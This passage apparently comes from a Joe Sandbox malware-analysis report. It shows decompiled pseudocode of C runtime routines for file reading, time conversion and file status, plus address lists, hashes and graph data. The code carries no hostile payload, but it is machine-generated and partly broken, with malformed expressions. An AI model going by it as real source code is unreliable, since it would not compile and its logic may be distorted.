				intOrPtr _t247;
				signed long long _t254;
				signed short* _t258;
				intOrPtr* _t260;
				char* _t263;
				signed long long _t278;
				void* _t280;
				unsigned long long _t285;
				void* _t286;
				signed long long _t291;
				signed long long _t292;
				unsigned long long _t293;
				signed short* _t295;
				signed short* _t301;
				signed short* _t302;
				unsigned long long _t306;
				signed long long _t308;
				char* _t310;
				char* _t311;
				char* _t312;
				signed long long _t313;

				_t273 = __rdx;
				_t162 = __ebx;
				_a24 = __rbx;
				_a16 = __rdx;
				r12d = r8d;
				if (r13d != 0xfffffffe) goto 0xda8eaebd;
				E00007FF77FF7DA8E4374(__rax);
				 *__rax = 0;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 9;
				goto 0xda8eb2ae;
				if (__ecx < 0) goto 0xda8eb297;
				_t205 = r13d -  *0xda91ce20; // 0x40
				if (_t205 >= 0) goto 0xda8eb297;
				_t3 = _t285 + 1; // 0x1
				_t178 = _t3;
				_v80 = __rdx;
				_t291 = __ecx >> 6;
				_v88 = _t291;
				_t308 = __ecx + __ecx * 8;
				_t246 =  *((intOrPtr*)(0xda91ca20 + _t291 * 8));
				if (( *(_t246 + 0x38 + _t308 * 8) & _t178) == 0) goto 0xda8eb297;
				if (r12d - 0x7fffffff <= 0) goto 0xda8eaf28;
				E00007FF77FF7DA8E4374(_t246);
				 *_t246 = 0;
				E00007FF77FF7DA8E4394(_t246);
				 *_t246 = 0x16;
				goto 0xda8eb2a9;
				if (r12d == 0) goto 0xda8eb293;
				if (( *(_t246 + 0x38 + _t308 * 8) & 0x00000002) != 0) goto 0xda8eb293;
				_t210 = __rdx;
				if (_t210 == 0) goto 0xda8eaf11;
				r10d =  *((char*)(_t246 + 0x39 + _t308 * 8));
				_v96 =  *((intOrPtr*)(_t246 + 0x28 + _t308 * 8));
				_a8 = r10b;
				if (_t210 == 0) goto 0xda8eaf9a;
				if (r10d - _t178 != _t178) goto 0xda8eaf92;
				if ((_t178 &  !r12d) != 0) goto 0xda8eaf92;
				E00007FF77FF7DA8E4374(_t246);
				 *_t246 = 0;
				E00007FF77FF7DA8E4394(_t246);
				 *_t246 = 0x16;
				E00007FF77FF7DA8E9D00();
				goto 0xda8eb120;
				goto 0xda8eb018;
				if ((_t178 &  !r12d) == 0) goto 0xda8eaf76;
				_t198 =  <  ? 4 : r12d >> 1;
				E00007FF77FF7DA8ECA1C(_t246,  *((intOrPtr*)(_t246 + 0x28 + _t308 * 8)));
				_t263 = _t246;
				E00007FF77FF7DA8E9D68(_t246,  *((intOrPtr*)(_t246 + 0x28 + _t308 * 8)));
				E00007FF77FF7DA8E9D68(_t246,  *((intOrPtr*)(_t246 + 0x28 + _t308 * 8)));
				_t310 = _t263;
				if (_t263 != 0) goto 0xda8eafe8;
				E00007FF77FF7DA8E4394(_t246);
				 *_t246 = 0xc;
				E00007FF77FF7DA8E4374(_t246);
				 *_t246 = 8;
				goto 0xda8eb120;
				_t32 = _t273 + 1; // 0x1
				r8d = _t32;
				E00007FF77FF7DA8EB6A4(_t246, _t263, _t280);
				_t292 = _v88;
				r10b = _a8;
				 *((long long*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x30 + _t308 * 8)) = _t246;
				_t247 =  *((intOrPtr*)(0xda91ca20 + _t292 * 8));
				_v72 = _t310;
				r9d = 0xa;
				if (( *(_t247 + 0x38 + _t308 * 8) & 0x00000048) == 0) goto 0xda8eb0aa;
				_t142 =  *((intOrPtr*)(_t247 + 0x3a + _t308 * 8));
				if (_t142 == r9b) goto 0xda8eb0aa;
				if (_t198 == 0) goto 0xda8eb0aa;
				 *_t310 = _t142;
				_t199 = _t198 - 1;
				_t311 = _t310 + __rdx;
				 *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3a + _t308 * 8)) = r9b;
				if (r10b == 0) goto 0xda8eb0aa;
				_t170 =  *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3b + _t308 * 8));
				if (_t170 == r9b) goto 0xda8eb0aa;
				if (_t199 == 0) goto 0xda8eb0aa;
				 *_t311 = _t170;
				_t312 = _t311 + __rdx;
				_t200 = _t199 - 1;
				 *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3b + _t308 * 8)) = r9b;
				if (r10b != 1) goto 0xda8eb0aa;
				_t171 =  *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3c + _t308 * 8));
				if (_t171 == r9b) goto 0xda8eb0aa;
				if (_t200 == 0) goto 0xda8eb0aa;
				 *_t312 = _t171;
				_t313 = _t312 + __rdx;
				 *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3c + _t308 * 8)) = r9b;
				if (E00007FF77FF7DA8F298C(r13d,  *((intOrPtr*)(0xda91ca20 + _t292 * 8))) == 0) goto 0xda8eb13e;
				_t254 =  *((intOrPtr*)(0xda91ca20 + _v88 * 8));
				if ( *((intOrPtr*)(_t254 + 0x38 + _t308 * 8)) - sil >= 0) goto 0xda8eb13e;
				if (GetConsoleMode(??, ??) == 0) goto 0xda8eb13e;
				if (_a8 != 2) goto 0xda8eb143;
				_t202 = _t200 - 1 >> 1;
				r8d = _t202;
				_v120 = _t285;
				if (ReadConsoleW(??, ??, ??, ??, ??) != 0) goto 0xda8eb132;
				E00007FF77FF7DA8E4308(GetLastError(), _t254, _v96);
				E00007FF77FF7DA8E9D68(_t254, _t263);
				goto 0xda8eb2b1;
				goto 0xda8eb17e;
				_v80 = sil;
				r8d = _t202;
				_v120 = _t285;
				_t151 = ReadFile(??, ??, ??, ??, ??); // executed
				if (_t151 == 0) goto 0xda8eb25d;
				if (_a32 - r12d > 0) goto 0xda8eb25d;
				if ( *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _v88 * 8)) + 0x38 + _t308 * 8)) - sil >= 0) goto 0xda8eb123;
				_t293 = _t280 + _t254 * 2 + _a32;
				if (_a8 == 2) goto 0xda8eb1c7;
				_t278 = _t313;
				_v120 = _t306 >> 1;
				_t152 = E00007FF77FF7DA8EAA94(_t151, _t162, r13d, 0, _t263, _t278, _t286, _t293, _a16);
				goto 0xda8eb123;
				if (_v80 == sil) goto 0xda8eb24b;
				_t302 = _v72;
				_t258 = _t302;
				_t301 =  &(_t302[_t293 >> 1]);
				if (_t302 - _t301 >= 0) goto 0xda8eb23e;
				_t175 =  *_t258 & 0x0000ffff;
				if (_t175 == 0x1a) goto 0xda8eb22d;
				if (_t175 != 0xd) goto 0xda8eb213;
				_t295 =  &(_t258[1]);
				if (_t295 - _t301 >= 0) goto 0xda8eb213;
				if ( *_t295 != 0xa) goto 0xda8eb213;
				r11d = 4;
				goto 0xda8eb219;
				r11d = 2;
				 *_t302 = 0xa;
				if ( &(_t258[0x3ffbed48e510]) - _t301 < 0) goto 0xda8eb1ea;
				goto 0xda8eb23e;
				_t260 =  *((intOrPtr*)(0xda91ca20 + _t278 * 8));
				 *(_t260 + 0x38 + _t308 * 8) =  *(_t260 + 0x38 + _t308 * 8) | 0x00000002;
				goto 0xda8eb123;
				E00007FF77FF7DA8EA8D4(_t152, r13d, _t263, 0xda91ca20, _v72,  &(_t302[1]), 0xda91ca20);
				goto 0xda8eb1c0;
				if (GetLastError() != 5) goto 0xda8eb283;
				E00007FF77FF7DA8E4394(_t260);
				 *_t260 = 9;
				_t156 = E00007FF77FF7DA8E4374(_t260);
				 *_t260 = 5;
				goto 0xda8eb120;
				if (_t156 != 0x6d) goto 0xda8eb119;
				goto 0xda8eb123;
				goto 0xda8eb2b1;
				E00007FF77FF7DA8E4374(_t260);
				 *_t260 = 0xa;
				E00007FF77FF7DA8E4394(_t260);
				 *_t260 = 9;
				return E00007FF77FF7DA8E9D00() | 0xffffffff;
			}
















































                                                                                                                              0x7ff7da8eae7c
                                                                                                                              0x7ff7da8eae7c
                                                                                                                              0x7ff7da8eae7c
                                                                                                                              0x7ff7da8eae81
                                                                                                                              0x7ff7da8eae9b
                                                                                                                              0x7ff7da8eaea2
                                                                                                                              0x7ff7da8eaea4
                                                                                                                              0x7ff7da8eaeab
                                                                                                                              0x7ff7da8eaead
                                                                                                                              0x7ff7da8eaeb2
                                                                                                                              0x7ff7da8eaeb8
                                                                                                                              0x7ff7da8eaec1
                                                                                                                              0x7ff7da8eaec7
                                                                                                                              0x7ff7da8eaece
                                                                                                                              0x7ff7da8eaed7
                                                                                                                              0x7ff7da8eaed7
                                                                                                                              0x7ff7da8eaedd
                                                                                                                              0x7ff7da8eaeec
                                                                                                                              0x7ff7da8eaef0
                                                                                                                              0x7ff7da8eaef5
                                                                                                                              0x7ff7da8eaef9
                                                                                                                              0x7ff7da8eaf02
                                                                                                                              0x7ff7da8eaf0f
                                                                                                                              0x7ff7da8eaf11
                                                                                                                              0x7ff7da8eaf16
                                                                                                                              0x7ff7da8eaf18
                                                                                                                              0x7ff7da8eaf1d
                                                                                                                              0x7ff7da8eaf23
                                                                                                                              0x7ff7da8eaf2b
                                                                                                                              0x7ff7da8eaf37
                                                                                                                              0x7ff7da8eaf3d
                                                                                                                              0x7ff7da8eaf40
                                                                                                                              0x7ff7da8eaf4a
                                                                                                                              0x7ff7da8eaf55
                                                                                                                              0x7ff7da8eaf5d
                                                                                                                              0x7ff7da8eaf67
                                                                                                                              0x7ff7da8eaf6b
                                                                                                                              0x7ff7da8eaf74
                                                                                                                              0x7ff7da8eaf76
                                                                                                                              0x7ff7da8eaf7b
                                                                                                                              0x7ff7da8eaf7d
                                                                                                                              0x7ff7da8eaf82
                                                                                                                              0x7ff7da8eaf88
                                                                                                                              0x7ff7da8eaf8d
                                                                                                                              0x7ff7da8eaf98
                                                                                                                              0x7ff7da8eafa1
                                                                                                                              0x7ff7da8eafaa
                                                                                                                              0x7ff7da8eafaf
                                                                                                                              0x7ff7da8eafb6
                                                                                                                              0x7ff7da8eafb9
                                                                                                                              0x7ff7da8eafc0
                                                                                                                              0x7ff7da8eafc5
                                                                                                                              0x7ff7da8eafcb
                                                                                                                              0x7ff7da8eafcd
                                                                                                                              0x7ff7da8eafd2
                                                                                                                              0x7ff7da8eafd8
                                                                                                                              0x7ff7da8eafdd
                                                                                                                              0x7ff7da8eafe3
                                                                                                                              0x7ff7da8eafed
                                                                                                                              0x7ff7da8eafed
                                                                                                                              0x7ff7da8eaff1
                                                                                                                              0x7ff7da8eaff6
                                                                                                                              0x7ff7da8eb002
                                                                                                                              0x7ff7da8eb013
                                                                                                                              0x7ff7da8eb018
                                                                                                                              0x7ff7da8eb01e
                                                                                                                              0x7ff7da8eb023
                                                                                                                              0x7ff7da8eb02f
                                                                                                                              0x7ff7da8eb031
                                                                                                                              0x7ff7da8eb039
                                                                                                                              0x7ff7da8eb03d
                                                                                                                              0x7ff7da8eb03f
                                                                                                                              0x7ff7da8eb042
                                                                                                                              0x7ff7da8eb048
                                                                                                                              0x7ff7da8eb04d
                                                                                                                              0x7ff7da8eb055
                                                                                                                              0x7ff7da8eb05b
                                                                                                                              0x7ff7da8eb063
                                                                                                                              0x7ff7da8eb067
                                                                                                                              0x7ff7da8eb069
                                                                                                                              0x7ff7da8eb074
                                                                                                                              0x7ff7da8eb077
                                                                                                                              0x7ff7da8eb079
                                                                                                                              0x7ff7da8eb081
                                                                                                                              0x7ff7da8eb087
                                                                                                                              0x7ff7da8eb08f
                                                                                                                              0x7ff7da8eb093
                                                                                                                              0x7ff7da8eb095
                                                                                                                              0x7ff7da8eb0a0
                                                                                                                              0x7ff7da8eb0a5
                                                                                                                              0x7ff7da8eb0b4
                                                                                                                              0x7ff7da8eb0c6
                                                                                                                              0x7ff7da8eb0cf
                                                                                                                              0x7ff7da8eb0e3
                                                                                                                              0x7ff7da8eb0ed
                                                                                                                              0x7ff7da8eb0fc
                                                                                                                              0x7ff7da8eb101
                                                                                                                              0x7ff7da8eb104
                                                                                                                              0x7ff7da8eb111
                                                                                                                              0x7ff7da8eb11b
                                                                                                                              0x7ff7da8eb126
                                                                                                                              0x7ff7da8eb12d
                                                                                                                              0x7ff7da8eb13c
                                                                                                                              0x7ff7da8eb13e
                                                                                                                              0x7ff7da8eb150
                                                                                                                              0x7ff7da8eb153
                                                                                                                              0x7ff7da8eb15b
                                                                                                                              0x7ff7da8eb163
                                                                                                                              0x7ff7da8eb171
                                                                                                                              0x7ff7da8eb193
                                                                                                                              0x7ff7da8eb19d
                                                                                                                              0x7ff7da8eb1a0
                                                                                                                              0x7ff7da8eb1b0
                                                                                                                              0x7ff7da8eb1b6
                                                                                                                              0x7ff7da8eb1bb
                                                                                                                              0x7ff7da8eb1c2
                                                                                                                              0x7ff7da8eb1cf
                                                                                                                              0x7ff7da8eb1d1
                                                                                                                              0x7ff7da8eb1d6
                                                                                                                              0x7ff7da8eb1dc
                                                                                                                              0x7ff7da8eb1e3
                                                                                                                              0x7ff7da8eb1ea
                                                                                                                              0x7ff7da8eb1f1
                                                                                                                              0x7ff7da8eb1f7
                                                                                                                              0x7ff7da8eb1f9
                                                                                                                              0x7ff7da8eb200
                                                                                                                              0x7ff7da8eb206
                                                                                                                              0x7ff7da8eb20b
                                                                                                                              0x7ff7da8eb211
                                                                                                                              0x7ff7da8eb213
                                                                                                                              0x7ff7da8eb21c
                                                                                                                              0x7ff7da8eb229
                                                                                                                              0x7ff7da8eb22b
                                                                                                                              0x7ff7da8eb234
                                                                                                                              0x7ff7da8eb238
                                                                                                                              0x7ff7da8eb246
                                                                                                                              0x7ff7da8eb253
                                                                                                                              0x7ff7da8eb258
                                                                                                                              0x7ff7da8eb266
                                                                                                                              0x7ff7da8eb268
                                                                                                                              0x7ff7da8eb26d
                                                                                                                              0x7ff7da8eb273
                                                                                                                              0x7ff7da8eb278
                                                                                                                              0x7ff7da8eb27e
                                                                                                                              0x7ff7da8eb286
                                                                                                                              0x7ff7da8eb28e
                                                                                                                              0x7ff7da8eb295
                                                                                                                              0x7ff7da8eb297
                                                                                                                              0x7ff7da8eb29c
                                                                                                                              0x7ff7da8eb29e
                                                                                                                              0x7ff7da8eb2a3
                                                                                                                              0x7ff7da8eb2c8

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 599bb4360aea2a78f00c0266304e96a875c24cc16e3fd6bec0de54c53e0839d3
                                                                                                                              • Instruction ID: 844910733d293e58ea6f1fdd2ae775f2585802e2b94ba741d24b2357a207e1a7
                                                                                                                              • Opcode Fuzzy Hash: 599bb4360aea2a78f00c0266304e96a875c24cc16e3fd6bec0de54c53e0839d3
                                                                                                                              • Instruction Fuzzy Hash: 65C1D522A1C687C1F612AB1194082BDFB91FFA1B90FD58172DE4D03793DE7EE6658320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EE82C Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 1577 7ff7da8ee82c-7ff7da8ee868 1578 7ff7da8eea1e-7ff7da8eea29 call 7ff7da8e4394 1577->1578 1579 7ff7da8ee86e-7ff7da8ee877 1577->1579 1585 7ff7da8eea2d-7ff7da8eea49 call 7ff7da8dacf0 1578->1585 1579->1578 1580 7ff7da8ee87d-7ff7da8ee886 1579->1580 1580->1578 1582 7ff7da8ee88c-7ff7da8ee88f 1580->1582 1582->1578 1584 7ff7da8ee895-7ff7da8ee8a6 1582->1584 1586 7ff7da8ee8d0-7ff7da8ee8d4 1584->1586 1587 7ff7da8ee8a8-7ff7da8ee8b1 call 7ff7da8ee7d0 1584->1587 1586->1578 1591 7ff7da8ee8da-7ff7da8ee8de 1586->1591 1587->1578 1594 7ff7da8ee8b7-7ff7da8ee8ba 1587->1594 1591->1578 1593 7ff7da8ee8e4-7ff7da8ee8e8 1591->1593 1593->1578 1595 7ff7da8ee8ee-7ff7da8ee8fe call 7ff7da8ee7d0 1593->1595 1594->1578 1596 7ff7da8ee8c0-7ff7da8ee8c3 1594->1596 1600 7ff7da8ee900-7ff7da8ee903 1595->1600 1601 7ff7da8ee907 call 7ff7da8f5304 1595->1601 1596->1578 1598 7ff7da8ee8c9 1596->1598 1598->1586 1600->1601 1602 7ff7da8ee905 1600->1602 1604 7ff7da8ee90c-7ff7da8ee923 call 7ff7da8f4708 1601->1604 1602->1601 1607 7ff7da8ee929-7ff7da8ee934 call 7ff7da8f4738 1604->1607 1608 7ff7da8eea4a-7ff7da8eea5f call 7ff7da8e9d20 1604->1608 1607->1608 1613 7ff7da8ee93a-7ff7da8ee945 call 7ff7da8f4768 1607->1613 1613->1608 1616 7ff7da8ee94b-7ff7da8ee9df 1613->1616 1617 7ff7da8ee9e1-7ff7da8ee9fd 1616->1617 1618 7ff7da8eea19-7ff7da8eea1c 1616->1618 1619 7ff7da8eea14-7ff7da8eea17 1617->1619 1620 7ff7da8ee9ff-7ff7da8eea03 1617->1620 1618->1585 1619->1585 1620->1619 1621 7ff7da8eea05-7ff7da8eea10 call 7ff7da8f5348 1620->1621 1621->1619
                                                                                                                              C-Code - Quality: 97%
                                                                                                                              			E00007FF77FF7DA8EE82C(signed int __edx, void* __edi, void* __rcx, void* __rdx, intOrPtr _a40, intOrPtr _a48, intOrPtr _a56) {
				signed int _v80;
				intOrPtr _v92;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v112;
				intOrPtr _v116;
				char _v120;
				intOrPtr _v124;
				char _v128;
				char _v132;
				char _v136;
				intOrPtr _t49;
				void* _t53;
				void* _t65;
				intOrPtr _t67;
				signed long long _t86;
				intOrPtr _t88;
				signed long long _t110;
				intOrPtr _t112;
				void* _t117;
				intOrPtr* _t118;
				void* _t120;
				signed long long _t140;
				void* _t143;
				void* _t146;
				intOrPtr* _t152;

				_t110 =  *0xda90d008; // 0xe3add53f52b8
				_v80 = _t110 ^ _t146 - 0x00000078;
				_t67 = __rcx - 0x76c;
				_t86 = r8d;
				_t140 = __edx;
				if (_t67 - 0x46 < 0) goto 0xda8eea1e;
				_t112 = _t67;
				if (_t112 - 0x44d > 0) goto 0xda8eea1e;
				_t49 = __edx - 1;
				_v124 = _t49;
				if (_t49 - 0xb > 0) goto 0xda8eea1e;
				if (r8d <= 0) goto 0xda8eea1e;
				if (r8d -  *((intOrPtr*)(0xda9077a0 + __edx * 4)) -  *((intOrPtr*)(0xda9077a0 + __edx * 4 - 4)) <= 0) goto 0xda8ee8d0;
				if (E00007FF77FF7DA8EE7D0(_t67, r8d -  *((intOrPtr*)(0xda9077a0 + __edx * 4)) -  *((intOrPtr*)(0xda9077a0 + __edx * 4 - 4))) == 0) goto 0xda8eea1e;
				if (__edi != 2) goto 0xda8eea1e;
				if (_t86 - 0x1d > 0) goto 0xda8eea1e;
				if (r13d - 0x17 > 0) goto 0xda8eea1e;
				if (r12d - 0x3b > 0) goto 0xda8eea1e;
				if (r15d - 0x3b > 0) goto 0xda8eea1e;
				_t53 = E00007FF77FF7DA8EE7D0(_t67, r15d - 0x3b);
				r14d = 0;
				if (_t53 == 0) goto 0xda8ee907;
				if (__edi - 2 <= 0) goto 0xda8ee907;
				_t88 = _t86 +  *((intOrPtr*)(0xda9077a0 + _t140 * 4 - 4)) + 1; // executed
				E00007FF77FF7DA8F5304(_t112); // executed
				_v128 = r14d;
				_v132 = r14d;
				_v136 = r14d;
				if (E00007FF77FF7DA8F4708(_t112,  &_v128) != 0) goto 0xda8eea4a;
				if (E00007FF77FF7DA8F4738(_t112,  &_v132) != 0) goto 0xda8eea4a;
				if (E00007FF77FF7DA8F4768(_t112,  &_v136) != 0) goto 0xda8eea4a;
				r10d = 0x51eb851f;
				r8d = _t120 - 1;
				r9d = r10d * (_t120 + 0x12b) >> 0x20;
				r9d = r9d >> 7;
				r9d = r9d + (r9d >> 0x1f);
				r9d = r9d - (r10d * r8d >> 0x20 >> 5) + (r10d * r8d >> 0x20 >> 5 >> 0x1f);
				asm("cdq");
				_t143 = ((((__rdx + _t112 >> 2) + 0xffffffef + r9d + (_t67 + 0xffffffba) * 0x16d + _t88 + ((__rdx + _t112 >> 2) + 0xffffffef + r9d + (_t67 + 0xffffffba) * 0x16d + _t88) * 2) * 8 + r9d) * 0x3c + _a40) * 0x3c + _v136 + _a48;
				_t152 = _v132 + _t143;
				if (_a56 == 1) goto 0xda8eea19;
				_v104 = _v124;
				_v92 = _t88;
				_v100 = _t67;
				_v112 = r13d;
				_v116 = r12d;
				_v120 = r15d;
				if (_a56 != 0xffffffff) goto 0xda8eea14;
				if (_v128 == 0) goto 0xda8eea14;
				E00007FF77FF7DA8F5348( &_v120);
				_t144 =  !=  ? _t152 : _t143;
				_t117 =  !=  ? _t152 : _t143;
				goto 0xda8eea2d;
				_t118 = _t152;
				goto 0xda8eea2d;
				_t65 = E00007FF77FF7DA8E4394(_t118);
				 *_t118 = 0x16;
				return E00007FF77FF7DA8DACF0(_t65, (__rdx + _t112 >> 2) + 0xffffffef + r9d, _v80 ^ _t146 - 0x00000078);
			}





























                                                                                                                              0x7ff7da8ee840
                                                                                                                              0x7ff7da8ee84a
                                                                                                                              0x7ff7da8ee852
                                                                                                                              0x7ff7da8ee85c
                                                                                                                              0x7ff7da8ee862
                                                                                                                              0x7ff7da8ee868
                                                                                                                              0x7ff7da8ee86e
                                                                                                                              0x7ff7da8ee877
                                                                                                                              0x7ff7da8ee87d
                                                                                                                              0x7ff7da8ee880
                                                                                                                              0x7ff7da8ee886
                                                                                                                              0x7ff7da8ee88f
                                                                                                                              0x7ff7da8ee8a6
                                                                                                                              0x7ff7da8ee8b1
                                                                                                                              0x7ff7da8ee8ba
                                                                                                                              0x7ff7da8ee8c3
                                                                                                                              0x7ff7da8ee8d4
                                                                                                                              0x7ff7da8ee8de
                                                                                                                              0x7ff7da8ee8e8
                                                                                                                              0x7ff7da8ee8f4
                                                                                                                              0x7ff7da8ee8f9
                                                                                                                              0x7ff7da8ee8fe
                                                                                                                              0x7ff7da8ee903
                                                                                                                              0x7ff7da8ee905
                                                                                                                              0x7ff7da8ee907
                                                                                                                              0x7ff7da8ee910
                                                                                                                              0x7ff7da8ee914
                                                                                                                              0x7ff7da8ee918
                                                                                                                              0x7ff7da8ee923
                                                                                                                              0x7ff7da8ee934
                                                                                                                              0x7ff7da8ee945
                                                                                                                              0x7ff7da8ee955
                                                                                                                              0x7ff7da8ee95b
                                                                                                                              0x7ff7da8ee967
                                                                                                                              0x7ff7da8ee96d
                                                                                                                              0x7ff7da8ee97d
                                                                                                                              0x7ff7da8ee987
                                                                                                                              0x7ff7da8ee98a
                                                                                                                              0x7ff7da8ee9d5
                                                                                                                              0x7ff7da8ee9d8
                                                                                                                              0x7ff7da8ee9df
                                                                                                                              0x7ff7da8ee9e8
                                                                                                                              0x7ff7da8ee9eb
                                                                                                                              0x7ff7da8ee9ee
                                                                                                                              0x7ff7da8ee9f1
                                                                                                                              0x7ff7da8ee9f5
                                                                                                                              0x7ff7da8ee9f9
                                                                                                                              0x7ff7da8ee9fd
                                                                                                                              0x7ff7da8eea03
                                                                                                                              0x7ff7da8eea09
                                                                                                                              0x7ff7da8eea10
                                                                                                                              0x7ff7da8eea14
                                                                                                                              0x7ff7da8eea17
                                                                                                                              0x7ff7da8eea19
                                                                                                                              0x7ff7da8eea1c
                                                                                                                              0x7ff7da8eea1e
                                                                                                                              0x7ff7da8eea23
                                                                                                                              0x7ff7da8eea49

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _get_daylight$_isindst
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4170891091-0
                                                                                                                              • Opcode ID: f648b83e3cb410d1bce6a6d96ba3f226e96b8c179cb4383b6c0ac88b0926170b
                                                                                                                              • Instruction ID: 9e96a7435e243e58a16f07255a720f9695ff9232f27c24a0a17768a34c552146
                                                                                                                              • Opcode Fuzzy Hash: f648b83e3cb410d1bce6a6d96ba3f226e96b8c179cb4383b6c0ac88b0926170b
                                                                                                                              • Instruction Fuzzy Hash: 53513872F042129AFB15EF64D9416BCA7A1BB30358FD0413ADD1D52AD6DF3DA621C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E4724 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              C-Code - Quality: 49%
                                                                                                                              			E00007FF77FF7DA8E4724(intOrPtr __edx, long long __rbx, void* __rcx, void* __r8, intOrPtr* __r9, long long _a16) {
				signed int _v56;
				intOrPtr _v64;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr _v92;
				intOrPtr _v100;
				intOrPtr _v108;
				intOrPtr _v112;
				signed int _v120;
				signed long long _v128;
				long long _v136;
				void* __rsi;
				void* __rbp;
				long _t37;
				intOrPtr _t40;
				int _t42;
				signed int _t47;
				intOrPtr _t60;
				long _t61;
				signed long long _t78;
				signed long long _t79;
				intOrPtr _t89;
				void* _t102;

				_a16 = __rbx;
				_t78 =  *0xda90d008; // 0xe3add53f52b8
				_t79 = _t78 ^ _t102 - 0x00000080;
				_v56 = _t79;
				r14d = __edx; // executed
				_t37 = GetFileType(??); // executed
				r15d = 1;
				asm("btr ecx, 0xf");
				if (_t37 != r15d) goto 0xda8e482f;
				 *((intOrPtr*)(__r9 + 8)) = r15w;
				if (__rcx == 0) goto 0xda8e479e;
				_v120 = _v120 & 0x00000000;
				if (E00007FF77FF7DA8E4B44(__rcx,  &_v120, __r8) == 0) goto 0xda8e4846;
				_t40 = _v120 - 1;
				 *((intOrPtr*)(__r9 + 0x10)) = _t40;
				 *__r9 = _t40;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x48], xmm0");
				_v64 = 0;
				asm("movups [ebp-0x38], xmm0");
				asm("movups [ebp-0x28], xmm0"); // executed
				_t42 = GetFileInformationByHandle(??, ??); // executed
				if (_t42 == 0) goto 0xda8e484a;
				_t60 = _v112;
				_t96 = __rcx;
				 *((short*)(__r9 + 6)) = E00007FF77FF7DA8E4A08(_t60, __r9, __rcx, __r8, _t102);
				E00007FF77FF7DA8E48CC(_t60, _v92, _t96); // executed
				 *(__r9 + 0x20) = _t79;
				E00007FF77FF7DA8E48CC(_t60, _v100, _t79); // executed
				_t89 = _v108;
				 *(__r9 + 0x18) = _t79;
				E00007FF77FF7DA8E48CC(_t60, _t89,  *(__r9 + 0x20)); // executed
				 *(__r9 + 0x28) = _t79;
				 *(__r9 + 0x14) =  *(__r9 + 0x14) & 0x00000000;
				if (_v80 != 0) goto 0xda8e4822;
				_t47 = _v76;
				if (_t47 - 0x7fffffff > 0) goto 0xda8e4822;
				 *(__r9 + 0x14) = _t47;
				goto 0xda8e48a6;
				E00007FF77FF7DA8E4394(_t79);
				 *_t79 = 0x84;
				goto 0xda8e4846;
				_t25 = _t89 - 2; // -2
				if (_t25 - r15d <= 0) goto 0xda8e4859;
				if (_t60 != 0) goto 0xda8e484a;
				E00007FF77FF7DA8E4394(_t79);
				 *_t79 = 9;
				goto 0xda8e48a9;
				_t61 = GetLastError();
				E00007FF77FF7DA8E4308(_t61, _t79, _t89);
				goto 0xda8e4846;
				 *((intOrPtr*)(__r9 + 8)) = r15w;
				 *((intOrPtr*)(__r9 + 0x10)) = r14d;
				 *__r9 = r14d;
				_t55 =  ==  ? 0x2000 : 0x1000;
